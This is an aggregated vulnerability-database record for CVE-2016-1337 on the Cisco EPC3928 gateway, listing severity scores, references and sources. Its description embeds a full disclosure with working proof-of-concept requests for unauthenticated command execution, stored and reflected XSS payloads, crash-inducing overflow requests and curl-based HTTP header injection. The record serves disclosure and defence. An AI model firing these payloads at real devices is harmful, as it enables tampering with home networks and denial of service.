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ID

VAR-201607-0005


CVE

CVE-2016-1337


TITLE

Cisco EPC3928 Vulnerability in obtaining critical settings and credentials on devices

Trust: 0.8

sources: JVNDB: JVNDB-2016-003416

DESCRIPTION

Cisco EPC3928 devices allow remote attackers to obtain sensitive configuration and credential information by making requests during the early part of the boot process, related to a "Boot Information Disclosure" issue, aka Bug ID CSCux17178. The CiscoEPC3928 is a wireless router product from Cisco. A security vulnerability exists in CiscoEPC3928. This issue is being tracked by Cisco Bug ID CSCux17178. Variants of this product can also be affected. Using combination of several vulnerabilities, attacker is able to remotely download and decode boot configuration file, which you can see on PoC video below. The attacker is also able to reconfigure device in order to perform attacks on the home-user, inject additional data to modem http response or extract sensitive informations from the device, such as the Wi-Fi key. Until Cisco releases workarounds or patches, we recommend verify access to the web-based management panel and make sure that it is not reachable from the external network. Vulnerabilities: 1) Unauthorized Command Execution 2) Gateway Stored XSS 3) Gateway Client List DoS 4) Gateway Reflective XSS 5) Gateway HTTP Corruption DoS 6) "Stored" HTTP Response Injection 7) Boot Information Disclosure ======== PoC: - Unathorized Command Execution #1 - Channel selection request: POST /goform/ChannelsSelection HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/ChannelsSelection.asp Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 24 SAHappyUpstreamChannel=3 #1 - Response: HTTP/1.0 200 OK Server: PS HTTP Server Content-type: text/html Connection: close <html lang="en"><head><title>RELOAD</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><script language="javascript" type="text/javascript" src="../active.js"></script><script language="javascript" type="text/javascript" src="../lang.js"></script><script language="javascript" type="text/javascript">var totaltime=120;function time(){document.formnow.hh.value=(" "+totaltime+" Seconds ");totaltime--;} function refreshStatus(){window.setTimeout("window.parent.location.href='http://192.168.1.1'",totaltime*1000);}mytime=setInterval('time()',1000);</script></head><body BGCOLOR="#CCCCCC" TEXT=black><form name="formnow"><HR><h1><script language="javascript" type="text/javascript">dw(msg_goform34);</script><a href="http://192.168.1.1/index.asp"><script language="javascript" type="text/javascript">dw(msg_goform35);</script></a><script language="javascript">refreshStatus();</script><input type="text" name="hh" style="background-color:#CCCCCC;font-size:36;border:n one"></h1></form></body></html> #2 - Clear logs request: POST /goform/Docsis_log HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/Docsis_log.asp Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 41 BtnClearLog=Clear+Log&SnmpClearEventLog=0 #2 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.1.1/Docsis_log.asp Content-type: text/html Connection: close - Gateway Stored and Reflective Cross Site Scripting Example #1: #1 \x96 Stored XSS via username change request: POST /goform/Administration HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/Administration.asp Cookie: Lang=en; SessionID=2719880 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 165 working_mode=0&sysname=<script>alert('XSS')</script>&sysPasswd=home&sysConfirmPasswd=home&save=Save+Settings&preWorkingMode=1&h_wlan_enable=enable&h_user_type=common #1 \x96 Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.1.1/Administration.asp Content-type: text/html Connection: close #2 \x96 Redirect request: GET /Administration.asp HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/Administration.asp Cookie: Lang=en; SessionID=2719880 DNT: 1 Connection: keep-alive #2 \x96 Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 15832 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html lang="en"> <head> (...) <tr> <td> <script language="javascript" type="text/javascript">dw(usertype);</script> </td> <td nowrap> <script>alert('XSS')</script> </TD> </tr> <tr> (...) Example #2: #1 \x96 Reflected XSS via client list request: POST /goform/WClientMACList HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: 192.168.1.1/WClientMACList.asp Cookie: Lang=en; SessionID=109660 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 62 sortWireless=mac&h_sortWireless=mac" onmouseover=alert(1) x="y #1 \x96 Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: 192.168.1.1/WClientMACList.asp Content-type: text/html Connection: close #2 \x96 Redirect request: GET /WClientMACList.asp HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: 192.168.1.1/WClientMACList.asp Cookie: Lang=en; SessionID=109660 Connection: keep-alive #2 \x96 Reponse: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 7385 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html lang="en"> <head> (...) </table> </div> <input type="hidden" name="h_sortWireless" value="mac" onmouseover=alert(1) x="y" /> </form> </body> </html> (...) - Gateway Client List Denial of Service Device will crash after sending following request. # HTTP Request POST /goform/WClientMACList HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/WClientMACList.asp Cookie: Lang=en; SessionID=109660 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 62 sortWireless=mac&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX - Gateway HTTP Corruption Denial of Service Device will crash after sending following request. # HTTP Request POST /goform/Docsis_system HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/Docsis_system.asp Cookie: Lang=en; SessionID=348080 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 106 username_login=&password_login=&LanguageSelect=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In - "Stored" HTTP Response Injection It is able to inject additional HTTP data to response, if string parameter of LanguageSelect won't be too long (in that case device will crash). Additional data will be stored in device memory and returned with every http response on port 80 until reboot. devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10 HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 1469 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html lang="en"> devil@hell:~$ curl --data "username_login=&password_login=&LanguageSelect=en%0d%0aSet-Cookie: w00t&Language_Submit=0&login=Log+In" http://192.168.1.1/goform/Docsis_system -s > /dev/null devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10 HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Set-Cookie: Lang=en Set-Cookie: w00t Set-Cookie: SessionID=657670 Content-Length: 1469 - Boot Information Disclosure In early booting phase, for a short period of time some administrator functions can be executed, and it is able to extract device configuration file. We wrote an exploit that crash the modem, and then retrieve and decode config in order to obtain users credentials. Exploit video PoC: https://www.youtube.com/watch?v=PHSx0s7Turo ======== CVE References: CVE-2015-6401 CVE-2015-6402 CVE-2016-1328 CVE-2016-1336 CVE-2016-1337 Cisco Bug ID\x92s: CSCux24935 CSCux24938 CSCux24941 CSCux24948 CSCuy28100 CSCux17178 Read more on our blog: http://secorda.com/multiple-security-vulnerabilities-affecting-cisco-epc3928/

Trust: 2.61

sources: NVD: CVE-2016-1337 // JVNDB: JVNDB-2016-003416 // CNVD: CNVD-2016-04560 // BID: 91541 // VULHUB: VHN-90156 // PACKETSTORM: 137379

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2016-04560

AFFECTED PRODUCTS

vendor:ciscomodel:epc3928scope:eqversion: -

Trust: 1.6

vendor:ciscomodel:epc3928scope: - version: -

Trust: 1.4

sources: CNVD: CNVD-2016-04560 // JVNDB: JVNDB-2016-003416 // CNNVD: CNNVD-201606-294 // NVD: CVE-2016-1337

CVSS

SEVERITY

CVSSV2

CVSSV3

NVD: CVE-2016-1337
value: HIGH

Trust: 1.8

CNVD: CNVD-2016-04560
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201606-294
value: MEDIUM

Trust: 0.6

VULHUB: VHN-90156
value: MEDIUM

Trust: 0.1

NVD:
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: FALSE
obtainAllPrivilege: FALSE
obtainUserPrivilege: FALSE
obtainOtherPrivilege: FALSE
userInteractionRequired: FALSE
version: 2.0

Trust: 1.0

NVD: CVE-2016-1337
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2016-04560
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-90156
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

NVD:
baseSeverity: HIGH
baseScore: 8.1
vectorString: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: HIGH
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.2
impactScore: 5.9
version: 3.0

Trust: 1.0

NVD: CVE-2016-1337
baseSeverity: HIGH
baseScore: 8.1
vectorString: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: HIGH
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2016-04560 // VULHUB: VHN-90156 // JVNDB: JVNDB-2016-003416 // CNNVD: CNNVD-201606-294 // NVD: CVE-2016-1337

PROBLEMTYPE DATA

problemtype:CWE-200

Trust: 1.9

problemtype:CWE-264

Trust: 1.9

sources: VULHUB: VHN-90156 // JVNDB: JVNDB-2016-003416 // NVD: CVE-2016-1337

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201606-294

TYPE

information disclosure

Trust: 0.6

sources: CNNVD: CNNVD-201606-294

CONFIGURATIONS

sources:
            
            
            NVD: CVE-2016-1337

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-90156

PATCH
title:Cisco Model DPC3928/EPC3928 DOCSIS/EuroDOCSIS 3.0 8x4 Wireless Residential Gateway with Embedded Digital Voice Adapter User Guideurl:http://www.cisco.com/c/dam/en/us/td/docs/video/at_home/cable_modems/3900_series/ol-29161-01.pdf
Trust: 0.8
title:CiscoEPC3928 Information Disclosure Vulnerability Patchurl:https://www.cnvd.org.cn/patchinfo/show/78583
Trust: 0.6
title:Cisco EPC3928 Security vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=62592
Trust: 0.6
sources:
            
            
            CNVD: CNVD-2016-04560 // 
            
            
            
            JVNDB: JVNDB-2016-003416 // 
            
            
            
            CNNVD: CNNVD-201606-294

EXTERNAL IDS
db:NVDid:CVE-2016-1337
Trust: 3.5
db:BIDid:91541
Trust: 1.4
db:PACKETSTORMid:137379
Trust: 1.3
db:EXPLOIT-DBid:39904
Trust: 1.1
db:JVNDBid:JVNDB-2016-003416
Trust: 0.8
db:CNNVDid:CNNVD-201606-294
Trust: 0.7
db:CNVDid:CNVD-2016-04560
Trust: 0.6
db:VULHUBid:VHN-90156
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2016-04560 // 
            
            
            
            VULHUB: VHN-90156 // 
            
            
            
            BID: 91541 // 
            
            
            
            JVNDB: JVNDB-2016-003416 // 
            
            
            
            PACKETSTORM: 137379 // 
            
            
            
            CNNVD: CNNVD-201606-294 // 
            
            
            
            NVD: CVE-2016-1337

REFERENCES
url:http://secorda.com/multiple-security-vulnerabilities-affecting-cisco-epc3928/
Trust: 2.6
url:http://www.securityfocus.com/archive/1/archive/1/538627/100/0/threaded
Trust: 2.0
url:http://packetstormsecurity.com/files/137379/cisco-epc-3928-xss-dos-command-execution.html
Trust: 1.2
url:http://www.securityfocus.com/bid/91541
Trust: 1.1
url:http://www.securityfocus.com/archive/1/538627/100/0/threaded
Trust: 1.1
url:https://www.exploit-db.com/exploits/39904/
Trust: 1.1
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-1337
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-1337
Trust: 0.8
url:http://www.cisco.com/
Trust: 0.4
url:http://192.168.1.1/index.asp"><script
Trust: 0.1
url:http://192.168.1.1/administration.asp
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2016-1336
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2016-1337
Trust: 0.1
url:http://192.168.1.1/docsis_system.asp
Trust: 0.1
url:http://192.168.1.1/goform/docsis_system
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2015-6401
Trust: 0.1
url:http://192.168.1.1/channelsselection.asp
Trust: 0.1
url:https://www.youtube.com/watch?v=phsx0s7turo
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2015-6402
Trust: 0.1
url:http://192.168.1.1/docsis_log.asp
Trust: 0.1
url:http://192.168.1.1/
Trust: 0.1
url:http://192.168.1.1/wclientmaclist.asp
Trust: 0.1
url:http://secorda.com/)
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2016-1328
Trust: 0.1
url:http://192.168.1.1'",totaltime*1000);}mytime=setinterval('time()',1000);</script></head><body
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2016-04560 // 
            
            
            
            VULHUB: VHN-90156 // 
            
            
            
            BID: 91541 // 
            
            
            
            JVNDB: JVNDB-2016-003416 // 
            
            
            
            PACKETSTORM: 137379 // 
            
            
            
            CNNVD: CNNVD-201606-294 // 
            
            
            
            NVD: CVE-2016-1337

CREDITS
Patryk Bogdan from Secorda security team.
Trust: 0.3
sources:
            
            
            BID: 91541

SOURCES
db:CNVDid:CNVD-2016-04560
db:VULHUBid:VHN-90156
db:BIDid:91541
db:JVNDBid:JVNDB-2016-003416
db:PACKETSTORMid:137379
db:CNNVDid:CNNVD-201606-294
db:NVDid:CVE-2016-1337

LAST UPDATE DATE
2024-02-14T22:51:04.023000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2016-04560date:2016-07-06T00:00:00
db:VULHUBid:VHN-90156date:2018-10-09T00:00:00
db:BIDid:91541date:2016-07-03T00:00:00
db:JVNDBid:JVNDB-2016-003416date:2016-07-06T00:00:00
db:CNNVDid:CNNVD-201606-294date:2016-07-04T00:00:00
db:NVDid:CVE-2016-1337date:2024-02-14T01:17:43.863

SOURCES RELEASE DATE
db:CNVDid:CNVD-2016-04560date:2016-07-06T00:00:00
db:VULHUBid:VHN-90156date:2016-07-03T00:00:00
db:BIDid:91541date:2016-07-03T00:00:00
db:JVNDBid:JVNDB-2016-003416date:2016-07-06T00:00:00
db:PACKETSTORMid:137379date:2016-06-08T13:22:22
db:CNNVDid:CNNVD-201606-294date:2016-06-08T00:00:00
db:NVDid:CVE-2016-1337date:2016-07-03T21:59:06.727